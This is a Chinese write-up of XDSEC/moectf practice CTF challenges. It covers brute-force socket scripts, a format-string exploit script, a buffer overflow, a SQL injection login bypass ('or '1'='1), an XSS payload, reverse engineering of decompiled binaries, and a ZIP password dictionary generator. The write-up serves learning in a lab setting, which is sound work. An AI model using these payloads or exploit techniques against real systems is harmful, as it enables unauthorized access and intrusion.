XDSEC 西电CTF练习题WriteUp
西电ctf练习题地址(http://moectf.xdsec.club)
PPC
1丶算术天才琪露洛(200)
这题原意是要我们编程实现,但经过分析发现,每次输入9都会是正确的。。
①题目说有99道题,那么输入99次就可以得到flag了。。
②当然上面是笨方法,我们也可以写个脚本爆破。。
#coding=utf-8
import socket
def client_sender():
client = socket.socket()
client.connect(('123.206.66.98', 10001))
for i in range(0,100):
send_data = '9\n'
print client.recv(1024)
client.send(send_data)
client.close()
def main():
client_sender()
main()
2丶猜数游戏(500)
不会,学习一波会了在来更新-^-..
PWN
1.PWNO(100)
下载提供的c代码,分析下应该是数组越界
定义的字符数组只能容纳20个数组,但scanf对我们的输入却没有进行限制,输出超出20个字符就会造成数组越界,尝试输入21个1得到了flag。。
2.Easy bof(300)
一个简单缓冲区溢出,分析如下图所示:
那么要想覆盖到key变量的地址,我们就得用ida分析获取输入的地址和key地址的相对差值了。。
下载2进制文件,拖入ida。。
得到s的地址为-28,a1的地址为8,8-(-28)得到需要覆盖的字节为48
直接用python生成字符串提交得到flag。。
3丶FSB(500)
格式化输入漏洞,可以利用%x来flag变量所在的位置,然后用%n来修改该位置的值,位置可以用爆破,那就写段py脚本爆破吧!
#coding=utf-8
import socket
def client_sender():
for i in range(1,100):
client = socket.socket()
client.connect(('123.206.66.98', 23333))
send_data = '%2000c%'+str(i)+'$n\n'
client.send(send_data)
print '进行第'+str(i)+'尝试,尝试结果为:'+client.recv(1024)
--i
client.close()
def main():
client_sender()
main()
在21和31处都可得到flag。。
WEB
1丶where is flag?(10)
直接查看源代码
2丶饼干(30)
根据提示,flag应该在cookie里面
抓包查看cookie得到flag
根据(hint:如果你觉得得到的FLAG不太对劲的话,查查什么是URL编码),要将%7B和%7D进行一下编码转换,得到最终的flag:XDSEC{c00kie_1s_Del1ciou5}
3丶机器人(30)
根据提示直接访问robots.txt得到flag
4丶GET(50)
根据提示直接get flag参数设置值为1得到flag
5丶POST(80)
跟上一题差不多,只是把get变成post,这里我用的火狐的hackbor提交的post数据
6丶PHP是世界最好的语言(100)
访问题目页面,发现是一段PHP代码
分析发现它会get flag参数的值然后和WUU1 base64解码后的值进行比较,相等就输出flag。
解码WUU1为YE5
对题目页面发送get请求,参数为flag,值为YE5,得到flag
7丶SQL注入1(150)
根据提示万能密码,直接在密码输入:
or '1'='1
得到flag
8丶XSS测试(150)
最简单的xss,把alert的值改成要求的就可以得到flag,即输入如下值提交:
<script>alert(_key_)</script
9丶SQL注入2(300)
RE
1丶RE1(100)
下载提供的exe文件,直接拖进ida进行分析,找到main函数,用快捷键F5将汇编转为伪C
分析下,就是获取输入的字符串和上面v4到v11变量的值连接成的值进行比较,相同就输出正确提示,根据char我们可以看出v4到v11这几个变量的值应该都是字符串,将变量值用R快捷键转换成字符。
将v4到v11变量的值连接起来应该就是flag了,但windows的程序都是用的小端字节序,所以要将每个变量的值倒过来排序,比如v4的值为”ESDX”倒过来就是”XDSE”,最后得到flag:XDSEC{ida_is_useful_in_reverse}
2丶RE2(200)
跟上题一样,下载提供的exe文件,直接拖进ida进行分析,找到main函数,用快捷键F5将汇编转为伪C,得到如下代码:
__int64 __fastcall main(__int64 a1, __int64 a2)
{
__int64 v2; // rdx@1
__int64 v3; // rdx@1
__int64 v4; // rdx@1
char c[29]; // [sp+20h] [bp-70h]@1
char b[29]; // [sp+40h] [bp-50h]@1
char flag[29]; // [sp+60h] [bp-30h]@1
int sym; // [sp+88h] [bp-8h]@1
int i; // [sp+8Ch] [bp-4h]@1
_main();
b[0] = 87;
b[1] = 67;
b[2] = 82;
b[3] = 68;
b[4] = 66;
b[5] = 122;
b[6] = 113;
b[7] = 100;
b[8] = 96;
b[9] = 99;
b[10] = 94;
b[11] = 98;
b[12] = 110;
b[13] = 99;
b[14] = 100;
b[15] = 94;
b[16] = 104;
b[17] = 114;
b[18] = 94;
b[19] = 100;
b[20] = 114;
b[21] = 114;
b[22] = 100;
b[23] = 109;
b[24] = 115;
b[25] = 104;
b[26] = 96;
b[27] = 107;
b[28] = 124;
c[0] = 15;
c[1] = 7;
c[2] = 1;
c[3] = 1;
c[4] = 1;
c[5] = 1;
c[6] = 3;
c[7] = 1;
c[8] = 1;
c[9] = 7;
c[10] = 1;
c[11] = 1;
c[12] = 1;
c[13] = 7;
c[14] = 1;
c[15] = 1;
c[16] = 1;
c[17] = 1;
c[18] = 1;
c[19] = 1;
c[20] = 1;
c[21] = 1;
c[22] = 1;
c[23] = 3;
c[24] = 7;
c[25] = 1;
c[26] = 1;
c[27] = 7;
c[28] = 1;
i = 0;
sym = 1;
puts(a1, a2, v2, "欢迎来到re200,请输入flag:");
gets(a1, a2, v3, flag);
while ( sym && i <= 28 )
{
v4 = (unsigned __int8)b[i] ^ (unsigned int)(unsigned __int8)flag[i];
//判断b数组和输入的字符串(即字符数组)进行异或操作后是否等于c数组的值
if ( ((unsigned __int8)b[i] ^ (unsigned __int8)flag[i]) != c[i] )
sym = 0;
++i;
}
//如果b数组对应成员和输入的字符串(即字符数组)对应字符进行异或操作后是否等于c数组对应成员值,sym就等于0
//等于0就输出正确提示
if ( sym )
printf(a1, a2, v4, "\n恭喜,你找到的是正确的flag!继续加油");
else
printf(a1, a2, v4, "flag有误哦,要不再试试?");
return 0LL;
}
关键的地方已给出注释,可以看出只要将b数组和c数组进行异或操作就可以得到flag,那写段C来完成操作吧!
#include <stdio.h>
int main()
{
char b[] = "WCRDBzqd`c^bncd^hr^drrdmsh`k|";
int c[] = {15,7,1,1,1,1,3,1,1,7,1,1,1,7,1,1,1,1,1,1,1,1,1,3,7,1,1,7,1};
int a;
for (int i = 0; i < 29; i++)
{
a = b[i] ^ c[i];
printf("%c", a);
}
printf("\n");
system("pause");
return 0;
}
运行得到flag
3丶你是拥有霸王色运气的萌新吗?(300)
这题还是一样,也用ida来分析,但这次关键点没在main函数里面而是在game()里面
game()函数转成伪C代码如下:
char game()
{
unsigned int v0; // eax@4
char *v1; // eax@10
char v3[24]; // [sp+1Fh] [bp-A9h]@2
int v4[24]; // [sp+37h] [bp-91h]@1
char v5; // [sp+97h] [bp-31h]@16
int v6; // [sp+98h] [bp-30h]@12
char v7; // [sp+9Fh] [bp-29h]@11
int v8; // [sp+A0h] [bp-28h]@11
int v9; // [sp+A4h] [bp-24h]@4
int v10; // [sp+A8h] [bp-20h]@1
int i; // [sp+ACh] [bp-1Ch]@1
v10 = 0;
v4[0] = *(_DWORD *)aZ_1;
v4[23] = *(_DWORD *)&aZ_1[92];
qmemcpy(
(void *)((unsigned int)&v4[1] & 0xFFFFFFFC),
(const void *)(aZ_1 - ((char *)v4 - ((unsigned int)&v4[1] & 0xFFFFFFFC))),
4 * ((((unsigned int)&v4[24] - ((unsigned int)&v4[1] & 0xFFFFFFFC)) & 0xFFFFFFFC) >> 2));
for ( i = 0; i <= 23; ++i )
v3[i] = v4[i];
v0 = time(0);
srand(v0);
puts("掷个6?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
//获取输入
v9 = getch();
//产生随机数
v10 = random();
//判断v10是否等于1,2,3,4,5,6中任意数,等于则输出一个字符串,不等于则返回传入值
showpoint(v10);
//判断v10是否等于6
if ( v10 != 6 )
//结束程序
gameover();
gamewin();
puts("掷个4?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
v9 = getch();
v10 = random();
showpoint(v10);
if ( v10 != 4 )
gameover();
gamewin();
puts("掷个2?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
v9 = getch();
v10 = random();
showpoint(v10);
if ( v10 != 2 )
gameover();
gamewin();
puts("掷个1?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
v9 = getch();
v10 = random();
showpoint(v10);
if ( v10 != 1 )
gameover();
gamewin();
puts("掷个3?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
v9 = getch();
v10 = random();
showpoint(v10);
if ( v10 != 3 )
gameover();
gamewin();
puts("掷个5?试试手气吧,说不定就有了耶!(按任意键开始本次投掷)");
v9 = getch();
v10 = random();
showpoint(v10);
if ( v10 != 5 )
gameover();
LOBYTE(v1) = puts("哇,不知道你是霸王色运气还是技术好呢,总之恭喜啦,为你献上flag:");
for ( i = 0; i <= 14997; i += 3 )
{
v8 = (unsigned __int8)ida[i];
v7 = ida[i + 2];
LOBYTE(v1) = v8;
switch ( v8 )
{
case 1:
v6 = (unsigned __int8)ida[i + 1];
v1 = &v3[v6];
v3[v6] += v7;
break;
case 2:
v6 = (unsigned __int8)ida[i + 1];
v1 = &v3[v6];
v3[v6] -= v7;
break;
case 3:
v6 = (unsigned __int8)ida[i + 1];
LOBYTE(v1) = v7 ^ v3[v6];
v3[v6] = (char)v1;
break;
case 4:
v6 = (unsigned __int8)ida[i + 1];
v1 = &v3[v6];
v3[v6] *= v7;
break;
case 5:
v6 = (unsigned __int8)ida[i + 1];
v5 = ida[i + 2];
v1 = &v3[v6];
v3[v6] ^= ida[i + 2];
break;
default:
continue;
}
}
for ( i = 0; i <= 23; ++i )
LOBYTE(v1) = putchar(v3[i]);
return (unsigned int)v1;
}
分析可以发现,这个函数首先会进行6次生成随机数并进行判断,只有6次随机值等于预设值才会生成flag,这下知道为什么题目说要拥有霸王色运气了吧^-^!
这个的话我们就可以在第一次进行比较前下断点,然后修改EIP到第一个for的地址,直接跳过6次判断直接生成flag输出了。。
ida支持在伪C代码里面直接下断点
这里有个坑就是程序运行完不会暂停,所以要在game()函数的返回处也下个断点,好观察输出的flag
下好断点后我们按F9快捷键选择Local win32 debugger,在次按F9就可以进行调试了
程序断下来后,直接修改将ETP的值修改为“mov dword ptr [esp], offset aGmKULGmOZGmKUF ; “哇,不知道你是霸王色运气还”…”这条指令的地址。。
在次F9就可以得到flag了
MISC
1丶神秘代码(30)
提示为base64,那直接将提供的字符串进行base64解码得到flag
2丶神秘代码2(30)
凯撒密码是种移位加密的,直接在线进行变换位置解密,在线解密地址https://www.cryptool.org/en/cto-ciphers/caesar,解密得到flag。。
3丶栅栏(30)
栅栏密码加密,直接在线http://www.qqxiuzi.cn/bianma/zhalanmima.php每组字符设为4得到flag
4丶杜神给你说flag!(70)
将2.jpg拖进WinHex,发现一串尾部有一串奇怪的字符,=号结尾,怀疑可能是base64编码的。。
解码得到flag。。
5丶压缩包(70)
根据提示提示,这题应该要暴力破解,密码是XDSEC后面跟上未知9位数字,首先写段C++代码生成符合密码形式的字典。。
#include <fstream>
using namespace std;
int main()
{
ofstream f1("output.txt");
int p[9] = {0,0,0,0,0,0,0,0,0};
for (int a = 0; a<9; a++)
{
p[0] = a;
for (int b = 0; b<10; b++)
{
p[1] = b;
for (int c = 0; c<10; c++)
{
p[2] = c;
for (int d = 0; d<10; d++)
{
p[3] = d;
for (int e = 0; e<10; e++)
{
p[4] = e;
for (int f = 0; f<10; f++)
{
p[5] = f;
for (int g = 0; g<10; g++)
{
p[6] = g;
for (int h = 0; h<10; h++)
{
p[7] = h;
for (int i = 0; i<10; i++)
{
p[8] = i;
for (int k = 0; k<9; k++)
{
f1 << p[k];
}
f1 << "\nxdsec";
}
}
}
}
}
}
}
}
}
f1.close();
printf("生成字典完成");
return 0;
}
生成的字典接近13G,费的时间有点长。。
用AAPR爆破得到解压密码,解压flag.txt得到flag
6丶藏了什么?(100)
很简单的隐写,用binwalk工具分析发现图片里面有个压缩包,压缩包里有个flag.txt。。
直接用-e参数分离出压缩包并解压出了flag.txt。。
txt文档里面的内容是base64编码了的,解码得到flag。。
7丶这是啥?(100)
提供的是个.pcapng文件,要用Wireshark来分析,过段时间学一下相关知识在来更新-^-)
8丶滑稽(150)
跟misc的第六题一样,先用binwalk分离得到个后缀为mp3的文件。。
播放没发现什么问题,拖进WinHex发现头部是PK,猜想可能是个压缩包。。。
改后缀名为zip,果然是个压缩包。。
根据压缩包里的内容,感觉应该是经过MP3Stego处理的sound.mp3,而paxx.txt里的内容就是解密密码。。
用MP3Stego得到个txt文件,文件内容为”X{hd}DHh_SJ_kEHaiC_so”,是栅栏密码加密的,直接在线http://www.qqxiuzi.cn/bianma/zhalanmima.php每组字符设为5得到flag。。